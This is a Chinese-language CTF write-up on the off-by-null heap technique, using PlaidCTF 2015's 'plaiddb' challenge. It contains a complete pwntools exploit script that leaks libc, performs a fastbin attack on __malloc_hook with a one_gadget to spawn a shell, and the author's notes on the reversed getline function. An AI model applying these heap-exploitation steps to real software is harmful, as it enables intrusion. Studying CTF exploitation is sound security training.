继续更off_by_null,其实也就是把自己的一些总结写下来,将来方便自己回顾。


之前的一篇简单说过了off_by_null,不过在那一篇里,off_by_null的利用方式是通过边界溢出修改类似在bss段上的内容。以此来间接达到我们想要的结果。

今天这个,中心思想是通过一字节溢出,修改下一个堆块上size段上的pre_inuse位,以此欺骗分配器–“本堆块已被释放(实际并没有)”。在pre_inuse位归0后,pre_size会同时被启用,我们伪造pre_size就可以实现堆重叠。

通常目的是为了,让堆块被释放后被合并,辅助实现unlink,构成堆重叠。

大概就这个原理吧,因为我是随着wiki上的题做的。这次这例题是wiki上的,但是我个人觉得并不合适(可能是因为版本原因吧,我也不知道,后面会讲为什么)


题目链接:https://github.com/ctfs/write-ups-2015/tree/master/plaidctf-2015/pwnable/plaiddb

这个题就是,逆向有点恶心,题大体上不难,原理就是我上面说的那个,具体wiki上说得很详细了我不重复了,可以先看看Wiki,这里我就说点我的一些想法。环境是ubuntu16.04的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102


# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./plaidctf_2015_plaiddb')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc-2.23_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)



def cmd(command_num):
io.recvuntil('command:')
io.sendline(str(command_num))

def put(key,size,data):
cmd('PUT')
io.recvuntil('key:')
io.sendline(key)

io.recvuntil('size:')
io.sendline(str(size))
io.recvuntil('data')
if len(data) < size:
io.send(data.ljust(size,'\x00'))
else:
io.send(data)

def delete(key):
cmd('DEL')
io.recvuntil('key:')
io.sendline(key)


def get(key):
cmd('GET')
io.recvuntil('key:')
io.sendline(key)
io.recvuntil('[')
num = int(io.recvuntil(' bytes').strip(' bytes'))
io.recvuntil(':\n')
return io.recv(num)



def main():
for i in range(10):
put(str(i),0x38,str(i))

for i in range(10):
delete(str(i))
#avoid complicity of structure malloc
put('1',0x200,'1')
put('2',0x50,'2')
put('5',0x68,'6')
put('3',0x1f8,'3')
put('4',0xf0,'4')
put('defense',0x400,'defense-data')

#allocate what we want in order



#free those need to be freed
delete('5')
delete('3')
delete('1')
delete('a'*0x1f0 + p64(0x4e0))

delete('4')

# debug()
put('0x200',0x350,'fillup')#the size coulde be 0x200~0x350
#because the fastbins combins to be the smallbin of 360
put('0x200 fillup',0x200,'fillup again')

libc_leak = u64(get('2')[:6].ljust(8,'\x00'))
io.info('libc leak:0x%x' % libc_leak)

libc_base = libc_leak - 0x3c4b78
io.info('libc_base:0x%x' % libc_leak)

put('fastatk', 0x100, 'a' * 0x58 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x10 + 5 - 8))
put('prepare', 0x68, 'prepare data')

one = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = libc_base + one[1]
put('attack', 0x68, 'a' * 3 + p64(one_gadget))

io.sendline('DEL') # malloc(8) triggers one_gadget
io.interactive()





main()

这里分开说一下,

1
2
3
4
5
for i in range(10):
put(str(i),0x38,str(i))

for i in range(10):
delete(str(i))

#这里,wiki上也说了,是为了不被影响,申请多个0x38的fastbin备用,在之后申请大堆块的时候,剩余的堆块会被合并

1
2
3
4
5
6
delete('5')
delete('3')
delete('1')
delete('a'*0x1f0 + p64(0x4e0))

delete('4')

这里需要说一下,在这里整道题其实和off_by_null并没有什么关系delete('a'*0x1f0 + p64(0x4e0))wiki上说,这个操作是溢出使下一堆块pre_inuse归0,但是我反复调试了几次后发现,其实在之前delete('3')的时候,下一堆块的pre_inuse已经被归0了。我也不知道到底是不是这样,反正这道题,我觉得没有off_by_null同样的操作,也能打。

这不是,一道讲off_by_null的好的题。

但是,还是推荐做一下。不做,有些细节可能就理解不了。有些可能出错的地方发现不了。

但是,之前说过,这个题的逆向是有那么一点恶心的,他加了一个二叉树,这个如果在比赛中出现,会比较恶心人,因为我逆向菜

但是,我发现他的getline其实抄起来,可以借鉴一下。蛮不错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
char * getline()
{
char *ptr;
char *temp_ptr;
size_t usable_size;
char Char; // al
char temp_char;
int dif;
char *new_ptr;

ptr = malloc(8uLL);
temp_ptr = ptr;
usable_size = malloc_usable_size(ptr); // 0x18
while ( 1 )
{
Char = getchar();
temp_char = Char;
if ( Char == -1 )
exit(-1); // 输入错误
if ( Char == '\n' )
break;
dif = temp_ptr - ptr;
if ( usable_size <= dif )
{
new_ptr = realloc(ptr, 2 * usable_size);
ptr = new_ptr;
if ( !new_ptr )
{
puts("FATAL: Out of memory");
exit(-1);
}
temp_ptr = &new_ptr[dif];
usable_size = malloc_usable_size(new_ptr);
}
*temp_ptr++ = temp_char; // 逐字输入到那几个申请的字节中
}
*temp_ptr = 0; // off_by_null
return ptr;
}
}

下次用应该修修就能行

2022-01-24

⬆︎TOP